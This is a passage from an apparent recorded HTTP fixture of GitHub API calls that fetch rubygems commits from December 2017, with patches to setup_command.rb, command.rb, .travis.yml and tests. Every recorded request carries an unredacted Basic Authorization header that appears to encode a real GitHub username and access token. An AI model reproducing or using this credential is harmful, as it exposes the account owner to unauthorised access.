b2dd03c8-39d4-4d8f-98ff-823fe69b080e","tree":{"sha":"59a209f43f8093a522141751f81faf18827f7893","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/59a209f43f8093a522141751f81faf18827f7893"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/a6750b6a2c624e3d0c549d18beea9255fcc01b62","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/a6750b6a2c624e3d0c549d18beea9255fcc01b62","html_url":"https://github.com/rubygems/rubygems/commit/a6750b6a2c624e3d0c549d18beea9255fcc01b62","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/a6750b6a2c624e3d0c549d18beea9255fcc01b62/comments","author":{"login":"nobu","id":16700,"avatar_url":"https://avatars0.githubusercontent.com/u/16700?v=4","gravatar_id":"","url":"https://api.github.com/users/nobu","html_url":"https://github.com/nobu","followers_url":"https://api.github.com/users/nobu/followers","following_url":"https://api.github.com/users/nobu/following{/other_user}","gists_url":"https://api.github.com/users/nobu/gists{/gist_id}","starred_url":"https://api.github.com/users/nobu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nobu/subscriptions","organizations_url":"https://api.github.com/users/nobu/orgs","repos_url":"https://api.github.com/users/nobu/repos","events_url":"https://api.github.com/users/nobu/events{/privacy}","received_events_url":"https://api.github.com/users/nobu/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"dba0fdcfa06263e06a056b6ee9f67b6bf18ef2e0","url":"https://api.github.com/repos/rubygems/rubygems/commits/dba0fdcfa06263e06a056b6ee9f67b6bf18ef2e0","html_url":"https://github.com/rubygems/rubygems/commit/dba0fdcfa06263e06a056b6ee9f67b6bf18ef2e0"}],"stats":{"total":10,"additions":9,"deletions":1},"files":[{"sha":"a7ec212e51be90e2f4728aa2651904b2c5827281","filename":"lib/rubygems/command.rb","status":"modified","additions":9,"deletions":1,"changes":10,"blob_url":"https://github.com/rubygems/rubygems/blob/a6750b6a2c624e3d0c549d18beea9255fcc01b62/lib/rubygems/command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a6750b6a2c624e3d0c549d18beea9255fcc01b62/lib/rubygems/command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/command.rb?ref=a6750b6a2c624e3d0c549d18beea9255fcc01b62","patch":"@@ -300,7 +300,10 @@ def invoke_with_build_args(args, build_args)\n \n options[:build_args] = build_args\n \n- self.ui = Gem::SilentUI.new if options[:silent]\n+ if options[:silent]\n+ old_ui = self.ui\n+ self.ui = ui = Gem::SilentUI.new\n+ end\n \n if options[:help] then\n show_help\n@@ -309,6 +312,11 @@ def invoke_with_build_args(args, build_args)\n else\n execute\n end\n+ ensure\n+ if ui\n+ self.ui = old_ui\n+ ui.close\n+ end\n end\n \n ##"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:40 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/dba0fdcfa06263e06a056b6ee9f67b6bf18ef2e0 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:40 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4586' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"75e7138700e9371f568cc0e993cda839" Last-Modified: - Mon, 25 Dec 2017 06:06:41 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.044334' X-Github-Request-Id: - C46A:4D97:9034E3:1C46D1F:5A50E45C body: encoding: ASCII-8BIT string: '{"sha":"dba0fdcfa06263e06a056b6ee9f67b6bf18ef2e0","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-19T19:43:30Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-25T06:06:41Z"},"message":"Auto merge of #2117 - MSP-Greg:travis_ruby, r=colby-swandale\n\nTry Travis with Ruby 2.2.9, 2.3.6, 2.4.3\n\n# Description:\n\nUpdate Travis with new Ruby versions 2.2.9, 2.3.6, 2.4.3 & update excludes\n\n# Tasks:\n\n- [X] Describe the problem / feature\n- [ ] Write tests\n- [X] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"ab9ca0f77b70bb688f5c789b9455e67b874c04fc","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ab9ca0f77b70bb688f5c789b9455e67b874c04fc"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/dba0fdcfa06263e06a056b6ee9f67b6bf18ef2e0","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/dba0fdcfa06263e06a056b6ee9f67b6bf18ef2e0","html_url":"https://github.com/rubygems/rubygems/commit/dba0fdcfa06263e06a056b6ee9f67b6bf18ef2e0","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/dba0fdcfa06263e06a056b6ee9f67b6bf18ef2e0/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"00df0cac25de0e8357d8b97c0e2c665d7224211e","url":"https://api.github.com/repos/rubygems/rubygems/commits/00df0cac25de0e8357d8b97c0e2c665d7224211e","html_url":"https://github.com/rubygems/rubygems/commit/00df0cac25de0e8357d8b97c0e2c665d7224211e"}],"stats":{"total":12,"additions":6,"deletions":6},"files":[{"sha":"0efd4523fc04156486ec4d9e6cf718acfc491513","filename":".travis.yml","status":"modified","additions":6,"deletions":6,"changes":12,"blob_url":"https://github.com/rubygems/rubygems/blob/dba0fdcfa06263e06a056b6ee9f67b6bf18ef2e0/.travis.yml","raw_url":"https://github.com/rubygems/rubygems/raw/dba0fdcfa06263e06a056b6ee9f67b6bf18ef2e0/.travis.yml","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/.travis.yml?ref=dba0fdcfa06263e06a056b6ee9f67b6bf18ef2e0","patch":"@@ -18,9 +18,9 @@ rvm:\n - 1.9.3\n - 2.0.0\n - 2.1.10\n-- 2.2.8\n-- 2.3.5\n-- 2.4.2\n+- 2.2.9\n+- 2.3.6\n+- 2.4.3\n - ruby-head\n env:\n - \"TEST_TOOL=rubygems YAML=syck\"\n@@ -38,11 +38,11 @@ matrix:\n env: \"TEST_TOOL=rubygems YAML=syck\"\n - rvm: 2.1.10\n env: \"TEST_TOOL=rubygems YAML=syck\"\n- - rvm: 2.2.7\n+ - rvm: 2.2.9\n env: \"TEST_TOOL=rubygems YAML=syck\"\n- - rvm: 2.3.4\n+ - rvm: 2.3.6\n env: \"TEST_TOOL=rubygems YAML=syck\"\n- - rvm: 2.4.1\n+ - rvm: 2.4.3\n env: \"TEST_TOOL=rubygems YAML=syck\"\n - rvm: ruby-head\n env: \"TEST_TOOL=rubygems YAML=syck\""}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:40 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/00df0cac25de0e8357d8b97c0e2c665d7224211e body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:40 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4585' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"bbea2becaf39dd084ef01e554899e33b" Last-Modified: - Mon, 25 Dec 2017 05:53:01 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.058944' X-Github-Request-Id: - A19C:4D97:9034E7:1C46D2B:5A50E45C body: encoding: ASCII-8BIT string: '{"sha":"00df0cac25de0e8357d8b97c0e2c665d7224211e","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-23T01:39:39Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-25T05:53:01Z"},"message":"Auto merge of #2124 - rubygems:fix-updater-with-rubygems, r=hsbt\n\nFix updater with rubygems\n\nFixes https://github.com/rubygems/rubygems/issues/2123","tree":{"sha":"e8ca10c33cee83ed37abb3af5153b10f9accb455","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e8ca10c33cee83ed37abb3af5153b10f9accb455"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/00df0cac25de0e8357d8b97c0e2c665d7224211e","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlpAkj4ACgkQ+c8TQXJk\n+sKZXwf/YlsJdwrrxhwpba2y6Ck0Hy7OCN4dZavhQnoU1YteGgm/JFvGhQTATTNT\ntEKWIO7RW1p9kKOEbJMvUQ+1Lu8E66naNY9u9Nn1GscVTZ1g6Vm4RPQo2p3dDPY/\n6IxKEINzprLijPw94xhaSxobS9cvivzbAgelFYqMh3+qV8ue3ismvqecJx7mTc+Z\nKGCq/WrMAGgjYWovCaxusfeVrYAOMoOThv2sRIQFCpcVkrP2EzY3oqUee+0ZuiEz\n63zfkEdyg1MbLNhBed2mpdJnhPu1G24ehKBkFlb62L2Mw+gErlELQgqQQ09Q/SkD\n0hnyI36ayN6y51CX43jxcr54vb9upw==\n=nETL\n-----END PGP SIGNATURE-----","payload":"tree e8ca10c33cee83ed37abb3af5153b10f9accb455\nparent 51175ef4f71c56dea4eb0a1d92f77ef38bca2370\nauthor The Bundler Bot 1513993179 +0000\ncommitter SHIBATA Hiroshi 1514181181 +0900\n\nAuto merge of #2124 - rubygems:fix-updater-with-rubygems, r=hsbt\n\nFix updater with rubygems\n\nFixes https://github.com/rubygems/rubygems/issues/2123\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/00df0cac25de0e8357d8b97c0e2c665d7224211e","html_url":"https://github.com/rubygems/rubygems/commit/00df0cac25de0e8357d8b97c0e2c665d7224211e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/00df0cac25de0e8357d8b97c0e2c665d7224211e/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"51175ef4f71c56dea4eb0a1d92f77ef38bca2370","url":"https://api.github.com/repos/rubygems/rubygems/commits/51175ef4f71c56dea4eb0a1d92f77ef38bca2370","html_url":"https://github.com/rubygems/rubygems/commit/51175ef4f71c56dea4eb0a1d92f77ef38bca2370"}],"stats":{"total":38,"additions":33,"deletions":5},"files":[{"sha":"a2c99466562e90efcc05eb9db9920a49729d786e","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":10,"deletions":1,"changes":11,"blob_url":"https://github.com/rubygems/rubygems/blob/00df0cac25de0e8357d8b97c0e2c665d7224211e/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/00df0cac25de0e8357d8b97c0e2c665d7224211e/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=00df0cac25de0e8357d8b97c0e2c665d7224211e","patch":"@@ -359,6 +359,8 @@ def install_default_bundler_gem\n bundler_spec = Gem::Specification.load(\"bundler/bundler.gemspec\")\n bundler_spec.files = Dir.chdir(\"bundler\") { Dir[\"{*.md,{lib,exe,man}/**/*}\"] }\n bundler_spec.executables -= %w[bundler bundle_ruby]\n+\n+ # Remove bundler-*.gemspec in default specification directory.\n Dir.entries(Gem::Specification.default_specifications_dir).\n select {|gs| gs.start_with?(\"bundler-\") }.\n each {|gs| File.delete(File.join(Gem::Specification.default_specifications_dir, gs)) }\n@@ -368,9 +370,16 @@ def install_default_bundler_gem\n \n bundler_spec = Gem::Specification.load(default_spec_path)\n \n+ # Remove gemspec that was same version of vendored bundler.\n+ normal_gemspec = File.join(Gem.default_dir, \"specifications\", \"bundler-#{bundler_spec.version}.gemspec\")\n+ if File.file? normal_gemspec\n+ File.delete normal_gemspec\n+ end\n+\n+ # Remove gem files that were same version of vendored bundler.\n if File.directory? bundler_spec.gems_dir\n Dir.entries(bundler_spec.gems_dir).\n- select {|default_gem| File.basename(default_gem).match(/^bundler-#{Gem::Version::VERSION_PATTERN}$/) }.\n+ select {|default_gem| File.basename(default_gem) == \"bundler-#{bundler_spec.version}\" }.\n each {|default_gem| rm_r File.join(bundler_spec.gems_dir, default_gem) }\n end\n "},{"sha":"a353907ec7c862516f099a027698be5818522a32","filename":"test/rubygems/test_gem_commands_setup_command.rb","status":"modified","additions":23,"deletions":4,"changes":27,"blob_url":"https://github.com/rubygems/rubygems/blob/00df0cac25de0e8357d8b97c0e2c665d7224211e/test/rubygems/test_gem_commands_setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/00df0cac25de0e8357d8b97c0e2c665d7224211e/test/rubygems/test_gem_commands_setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_setup_command.rb?ref=00df0cac25de0e8357d8b97c0e2c665d7224211e","patch":"@@ -6,6 +6,8 @@\n \n class TestGemCommandsSetupCommand < Gem::TestCase\n \n+ BUNDLER_VERS = `gem list -e bundler`[/([^() ]+)\\)\\Z/, 1] || \"1.16.0\"\n+\n def setup\n super\n \n@@ -46,6 +48,11 @@ def setup\n end\n \n FileUtils.mkdir_p File.join(Gem.default_dir, \"specifications\")\n+\n+ open(File.join(Gem.default_dir, \"specifications\", \"bundler-#{BUNDLER_VERS}.gemspec\"), ''w'') do |io|\n+ io.puts ''# bundler-1.16.1''\n+ end\n+\n open(File.join(Gem.default_dir, \"specifications\", \"bundler-audit-1.0.0.gemspec\"), ''w'') do |io|\n io.puts ''# bundler-audit''\n end\n@@ -134,13 +141,25 @@ def test_install_default_bundler_gem\n \n default_dir = Gem::Specification.default_specifications_dir\n \n+ # expect to remove other versions of bundler gemspecs on default specification directory.\n refute_path_exists File.join(default_dir, \"bundler-1.15.4.gemspec\")\n- refute_path_exists ''default/gems/bundler-1.15.4''\n-\n- assert_path_exists File.join(default_dir, \"bundler-1.16.0.gemspec\")\n- assert_path_exists ''default/gems/bundler-1.16.0''\n+ assert_path_exists File.join(default_dir, \"bundler-#{BUNDLER_VERS}.gemspec\")\n \n+ # expect to not remove bundler-* gemspecs.\n assert_path_exists File.join(Gem.default_dir, \"specifications\", \"bundler-audit-1.0.0.gemspec\")\n+\n+ # expect to remove normal gem that was same version. because it''s promoted default gems.\n+ refute_path_exists File.join(Gem.default_dir, \"specifications\", \"bundler-#{BUNDLER_VERS}.gemspec\")\n+\n+ # expect to install default gems. It location was `site_ruby` direcotry on real world.\n+ assert_path_exists \"default/gems/bundler-#{BUNDLER_VERS}\"\n+\n+ # expect to not remove other versions of bundler on `site_ruby`\n+ assert_path_exists ''default/gems/bundler-1.15.4''\n+\n+ # TODO: We need to assert to remove same version of bundler on gem_dir direcotry(It''s not site_ruby dir)\n+\n+ # expect to not remove bundler-* direcotyr.\n assert_path_exists ''default/gems/bundler-audit-1.0.0''\n end if Gem::USE_BUNDLER_FOR_GEMDEPS\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:40 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/51175ef4f71c56dea4eb0a1d92f77ef38bca2370 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:41 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4584' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"a47fb481550227126c7205167edca20a" Last-Modified: - Mon, 25 Dec 2017 05:41:52 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.045557' X-Github-Request-Id: - A19E:4D95:F47A02:1C82F2F:5A50E45C body: encoding: ASCII-8BIT string: '{"sha":"51175ef4f71c56dea4eb0a1d92f77ef38bca2370","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-23T12:27:19Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-25T05:41:52Z"},"message":"Auto merge of #2125 - rubygems:fix-warnings-invalid-gemspec, r=hsbt\n\nAvoid to warnings about gemspec loadings in rubygems tests.\n\n`bundler-1.15.4.gemspec` was evaluated `Gem::Specification.load`. It needs valid gemspec.","tree":{"sha":"7afce35360023ec2031eac3ad469a70c64ed1522","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/7afce35360023ec2031eac3ad469a70c64ed1522"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/51175ef4f71c56dea4eb0a1d92f77ef38bca2370","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlpAj6IACgkQ+c8TQXJk\n+sIzkAf/YagTTgJaTU4UlfvTCL+90tZp9bBMmo4XO4gDqq1yumd0qX8Ql3Xts/tv\nqQToi+/0paHHzjNltLojD/v+PZpzOXCC2wZvb/eVyUh72hxcv7VvD+W0H1ePSSfi\nOp/AE04DCSVuor0saN7KWb15jvjHG0DxwNX6co+nd8Wz67JRoNGtvkyLG5GpM7Kz\nL4yVD7j9cZmpUxTL9GvL9Ne1uSLOwN4GExdV0G6kRS/dPhRIGO8SxjPjV+lyEu3+\nWCTW7f1atBKCYcta9qRN2zXND7ahWeH0f78yAZMLGf465IlxyU7TbiRqq5mMuVHl\n/hH5vS/+PSm12MgjOYh/2TtfYM6wHg==\n=DCF9\n-----END PGP SIGNATURE-----","payload":"tree 7afce35360023ec2031eac3ad469a70c64ed1522\nparent dc3745b0b6bde1d5dab23ee46078077a1fac220a\nauthor The Bundler Bot 1514032039 +0000\ncommitter SHIBATA Hiroshi 1514180512 +0900\n\nAuto merge of #2125 - rubygems:fix-warnings-invalid-gemspec, r=hsbt\n\nAvoid to warnings about gemspec loadings in rubygems tests.\n\n`bundler-1.15.4.gemspec` was evaluated `Gem::Specification.load`. It needs valid gemspec.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/51175ef4f71c56dea4eb0a1d92f77ef38bca2370","html_url":"https://github.com/rubygems/rubygems/commit/51175ef4f71c56dea4eb0a1d92f77ef38bca2370","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/51175ef4f71c56dea4eb0a1d92f77ef38bca2370/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"dc3745b0b6bde1d5dab23ee46078077a1fac220a","url":"https://api.github.com/repos/rubygems/rubygems/commits/dc3745b0b6bde1d5dab23ee46078077a1fac220a","html_url":"https://github.com/rubygems/rubygems/commit/dc3745b0b6bde1d5dab23ee46078077a1fac220a"}],"stats":{"total":3,"additions":2,"deletions":1},"files":[{"sha":"2136edb1be5c8d987b35bff307250f72e16ab895","filename":"test/rubygems/test_gem_commands_setup_command.rb","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/51175ef4f71c56dea4eb0a1d92f77ef38bca2370/test/rubygems/test_gem_commands_setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/51175ef4f71c56dea4eb0a1d92f77ef38bca2370/test/rubygems/test_gem_commands_setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_setup_command.rb?ref=51175ef4f71c56dea4eb0a1d92f77ef38bca2370","patch":"@@ -41,7 +41,8 @@ def setup\n end\n \n open(File.join(Gem::Specification.default_specifications_dir, \"bundler-1.15.4.gemspec\"), ''w'') do |io|\n- io.puts ''# bundler''\n+ gemspec.version = \"1.15.4\"\n+ io.puts gemspec.to_ruby\n end\n \n FileUtils.mkdir_p File.join(Gem.default_dir, \"specifications\")"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:41 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/08e6d9b5967432f6afb6c1bd00825545e3287fe8 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:41 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4583' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"877393bdbf3dbde953cd2a79e9b9a88e" Last-Modified: - Sat, 23 Dec 2017 12:27:19 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff 